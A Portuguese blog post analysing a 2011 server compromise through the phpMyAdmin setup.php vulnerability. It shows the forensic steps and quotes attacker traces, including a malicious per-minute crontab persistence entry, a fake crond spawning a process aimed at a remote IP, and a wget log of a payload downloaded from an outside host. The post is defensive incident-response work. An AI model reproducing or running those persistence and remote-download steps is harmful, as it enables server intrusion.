Spawnzao

Falha de Segurança PhpMyAdmin – Análise

Por em 14/01/2011 - 1,826 views

Essa é uma simples análise de um problema no servidor de um cliente, abaixo seguem os passos que eu segui para descobrir o que estava acontecendo.

O primeiro passo foi abrir o Cacti e visualizar o estado do servidor, e ai a primeira surpresa: os 2 processadores estavam com 100% de processamento. Obviamente algo anormal estava acontecendo.

O segundo passo foi acessar o servidor e descobrir qual o processo estava consumindo o processamento da máquina. Para isso utilizei o comando:

top

E para minha surpresa um processo chamado ./s rodando com o usuário apache estava consumindo todo o processamento do servidor, por ai já dava pra perceber que o servidor estava de alguma forma vulnerável.

O próximo passo agora é analisar o processo e descobrir como ele está sendo iniciado. Para isso utilizei:

ps -auxf

Com ele podemos visualizar todos os processos com algumas informações essenciais como: usuário, PID, consumo de memória, consumo de processamento, se ele está sendo executado por algum terminal (tty), quando ele foi iniciado e o mais importante a hierarquia dos processos, mas como assim? Explicando melhor, todos os processos, também chamados de processo filho ou sub-processo, no Linux são iniciados por outros processos, chamados de processo pai, isto é, todos possuem um pai, que é responsável pela sua execução, com excessão do init.

Após o comando, obtive a lista de todos os processos rodando, juntamente com o processo que estava bagunçando o servidor e o seu processo pai.

apache 3516 0.0 0.0 2052 760 ? Ss 13:00 0:00 crond
apache 14817 98.6 0.0 1740 472 ? R 15:34 1:44 \_ ./s 93.113.250.254 113

Podemos ver que o processo crond rodando com o usuário apache é fake, e que ele está iniciando o processo ./s.

O próximo passo agora é descobrir onde os benditos arquivos estão escondidos dentro do servidor. Para isso utilizei o:

find / -name s

E tive o seguinte resultado:

/var/tmp/.kde/s

Para listar os arquivos do diretório .kde utilizei o:

ls -lsa /var/tmp/.kde

E tive o seguinte resultado:

total 748
4 drwxr-xr-x 2 apache apache 4096 Jan 14 05:45 .
8 drwxrwxrwt 3 root root 4096 Jan 12 17:06 ..
4 -rwxr-xr-x 1 apache apache 133 Jan 12 16:00 1
4 -rwxr-xr-x 1 apache apache 309 Abr 30 2009 autorun
12 -rwxr-xr-x 1 apache apache 8922 Jan 24 2006 b
20 -rwxr-xr-x 1 apache apache 19557 Mai 9 2005 b2
268 -rwxr-xr-x 1 apache apache 266463 Mai 9 2005 bang.txt
4 -rwxr-xr-x 1 apache apache 47 Jan 11 16:15 cron
156 -rwxr-xr-x 1 apache apache 152108 Jun 1 2001 crond
4 -rwxr-xr-x 1 apache apache 14 Jan 11 16:15 dir
12 -rwxr-xr-x 1 apache apache 8687 Jan 24 2006 f
16 -rwxr-xr-x 1 apache apache 14679 Nov 3 2005 f4
4 -rwxr-xr-x 1 apache apache 81 Ago 16 2006 fwd
16 -rwxr-xr-x 1 apache apache 15988 Set 7 2002 j
16 -rwxr-xr-x 1 apache apache 13850 Mai 29 2005 j2
24 -rwxr-xr-x 1 apache apache 22983 Jul 29 2004 mech.help
4 -rw-r–r– 1 apache apache 1064 Jan 12 16:00 mech.levels
4 -rw——- 1 apache apache 6 Jan 12 16:15 mech.pid
4 -rw-r–r– 1 apache apache 331 Jan 12 16:00 mech.session
4 -rw-r–r– 1 apache apache 552 Nov 2 14:05 mech.set
4 -rw-r–r– 1 apache apache 99 Jan 12 16:10 root.seen
4 -rwxr-xr-x 1 apache apache 31 Out 12 21:30 run
16 -rwxr-xr-x 1 apache apache 15078 Fev 20 2005 s
20 -rwxr-xr-x 1 apache apache 16776 Nov 19 2009 sl
4 -rwxr-xr-x 1 apache apache 27 Abr 30 2009 start.sh
4 -rw-r–r– 1 apache apache 4096 Out 12 21:30 .start.sh.swp
16 -rwxr-xr-x 1 apache apache 15195 Set 2 2004 std
16 -rwxr-xr-x 1 apache apache 13399 Set 25 08:17 stealth
12 -rwxr-xr-x 1 apache apache 8790 Jan 24 2006 stream
16 -rwxr-xr-x 1 apache apache 15994 Set 25 08:17 talk
8 -rwxr-xr-x 1 apache apache 7091 Jan 24 2006 tty
4 -rwxr-xr-x 1 apache apache 175 Jan 11 16:15 update
16 -rwxr-xr-x 1 apache apache 14841 Jul 22 2005 v2
20 -rwxr-xr-x 1 apache apache 16625 Nov 15 2007 x

O próximo passo foi matar o processo crond. Para isso utilizei o comando:

kill -9 3516

3516 representa o PID do processo crond.

Mas depois percebi que o processo voltou a ser executado, provavelmente ele estava inserido dentro do agendador de tarefas do servidor, mas agora onde? Dei uma vasculhada no /etc/crontab, dentro do /etc/cron.d/, e em mais outros lugares e não encontrei nada. E tive a idéia de olhar no arquivo do crontab criado por usuário, que fica em /var/spool/cron/, e lá estava o arquivo apache.

Ao exibir o conteúdo do arquivo, lá estava a inicialização do crond fake pelo usuário apache.

cat /var/spool/cron/apache

O seguinte resultado:


* * * * * /var/tmp/.kde/update >/dev/null 2>&1

Apaguei o arquivo e consegui finalizar de uma vez o crond, sem que ele voltasse.

O problema do servidor foi resolvido entre “aspas”, dei uma solução paliativa até que a solução definitiva, que é a instalação de um novo servidor, seja concluída. Agora é descobrir o que permitiu que o servidor ficasse vulnerável.

Como o proprietário dos arquivos e o dono do processo era o apache, fui analisar o log do apache para encontrar algo suspeito, e logo de cara encontrei no error_log. Utilizei o comando:

cat /var/log/httpd/error_log | more

O resultado suspeito era:

--2011-01-11 16:17:38--  http://59.42.10.8/phpMyAdmin/atx.txt
Connecting to 59.42.10.8:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17175 (17K) [text/plain]
Saving to: `atx.txt'

0K ........--2011-01-11 16:17:40--  http://59.42.10.8/phpMyAdmin/atx.txt
Connecting to 59.42.10.8:80... .. ......                                     100% 21.9K=0.8s

2011-01-11 16:17:40 (21.9 KB/s) - `atx.txt' saved [17175/17175]

Ele estava usando o httpd para injetar código no shell do servidor, e o log era do wget. Ele estava usando o wget para baixar os arquivos que ele iria utilizar dentro do servidor. Agora é descobrir através de que página ele estava conseguindo obter acesso. Com o horário do log acima eu iria descobrir através de que página ele estava conseguindo obter acesso.

cat /var/log/httpd/access_log | more

E o acesso naquele determinado horário era:

196.40.74.18 - - [11/Jan/2011:16:17:30 -0200] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 200 14061 "http://xxx.xxx.xxx.xxx/phpmyadmin/scripts/setup.php" "Opera"
196.40.74.18 - - [11/Jan/2011:16:17:31 -0200] "POST /phpmyadmin/scripts/setup.php HTTP/1.1" 200 - "http://xxx.xxx.xxx.xxx/phpmyadmin/scripts/setup.php" "Opera"

Pronto, encontrei a página que estava permitindo a injeção de código remoto no servidor. Fui para o Google pesquisar sobre o problema e encontrei diversas páginas relatando sobre a vulnerabilidade. Se quiserem saber mais sobre a vulnerabilidade, segue alguns links:

http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
http://www.securityfocus.com/bid/34236

A falha poderia ter sido evitada se algumas providências fossem tomadas, tais como:

  • Restringir o acesso ao PhpMyAdmin somente à maquinas confiáveis
  • Manter todos os softwares do servidor atualizados
  • Desinstalar o wget
  • Manter somente portas confiáveis abertas na OUTPUT
  • Utilizar o módulo mod_security
:, , , , , , , , , , , , ,
1 comment for this entry:
  1. Conveyancing

    Conveyancing…

    […]we like to honor other sites on the web, even if they aren’t related to us, by linking to them. Below are some sites worth checking out[…]…

Leave a Reply

Licença

Creative Commons License

Techs

 Blog Tool, Publishing Platform, and CMS
Powered by PHP
Powered by MySQL
Mozilla Foundation
hacker emblem
Mozilla Foundation
Open Source Initiative
Creative Commons